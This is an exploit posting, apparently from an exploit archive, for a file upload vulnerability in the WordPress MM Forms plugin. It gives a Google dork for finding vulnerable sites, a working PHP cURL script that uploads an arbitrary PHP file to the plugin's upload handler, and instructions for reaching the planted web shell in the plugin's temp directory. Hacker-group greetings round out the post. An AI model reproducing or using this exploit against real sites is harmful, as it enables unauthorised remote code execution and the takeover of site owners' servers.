Wordpress MM Forms plugin file upload vulnerability

+----------------------------------------------------------------------+
# Exploit Title: wordpress mm_forms plugin file upload vulnerability
# Google Dork: inurl:/wp-content/plugins/mm-forms/
# Date: 07/06/2012
# Author: Tunisian spl01t3r
# Software Link: http://downloads.wordpress.org/plugin/mm-forms.zip

	 ____ (_) ____   ___
	(  _ \| |(  _ \ / _ \
	| | | | || | | x |_|
	| ||_/|_|| ||_/ \___/
	|_|      |_|
	 _ 
	(_)  ____   ____  ____     _____ 
	| | /  __| /  __| \__ \   /  `  \ 
	| | \___ \ \___ \  / _ \_ | Y Y  \
	|_| |____/ |____/ (___  / |_|_|  /
						  \/       \/                          
+----------------------------------------------------------------------+
[+] INFO
MM Forms has been renamed to MM Forms Community
Because of the many changes in the core of MM Forms we did not provide an upgrade path. If you want to try MM Forms Community you have to completely uninstall your current version of MM Forms and delete all database tables related to MM Forms.

[+] exploit

<?php
/* example of using 
$uploadfile="C:\AppServ\www\Tunisia.php"; */
$uploadfile="Tunisia.php";
$ch =
curl_init("http://[SERVER]/[path]/wp-content/plugins/mm-forms/includes/doajaxfileupload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('fileToUpload'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
/* same php code of "Sammy FORGIT" 's exploits */
?>

[+] how TO use
Tunisia.php must be the devil file 3:)
!!!shell!!!
TN> http://[SERVER]/[path]/wp-content/plugins/mm-forms/upload/temp/
Filename : $postResult output

+----------------------------------------------------------------------+
[+] greetz to : BIbou sfaxien ; mech lazem ; tn_scorpion ; anas laaribi ;
       jendoubi ahmed ; s-man ; chaouki mkachakh & ;) --Geni ryodan-- ;)
	    daly azrail ; med bradai ; 7rouz ; ghazy info ; mohamed bel ;
	    hassen ben mbarek ; prince bibou ; hag whag ; anis van toets
		              & all tn_spl01t3r's freinds
	                         mAhna mAhna 
	   
[+] profile :  www.facebook.com/TN.spl0it3r    

+----------------------------------------------------------------------+



#  0day.today [2018-04-03]  #